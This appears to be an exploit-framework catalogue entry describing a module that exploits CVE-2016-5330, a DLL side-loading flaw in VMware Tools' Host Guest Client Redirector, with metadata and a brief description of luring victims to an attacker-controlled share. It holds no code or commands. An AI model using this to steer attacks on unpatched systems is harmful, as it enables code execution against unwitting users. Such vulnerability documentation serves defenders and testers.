Module Overview
Name: DLL Side Loading Vulnerability in VMware Host Guest Client Redirector
Module: exploit/windows/misc/vmhgfs_webdav_dll_sideload
Source code: modules/exploits/windows/misc/vmhgfs_webdav_dll_sideload.rb
Disclosure date: 2016-08-05
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2016-5330
A DLL side loading vulnerability was found in the VMware Host Guest Client Redirector, a component of VMware Tools. This issue can be exploited by luring a victim into opening a document from the attacker's share. An attacker can exploit this issue to execute arbitrary code with the privileges of the target user. This can potentially result in the attacker taking complete control of the affected system. If the WebDAV Mini-Redirector is enabled, it is possible to exploit this issue over the internet.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
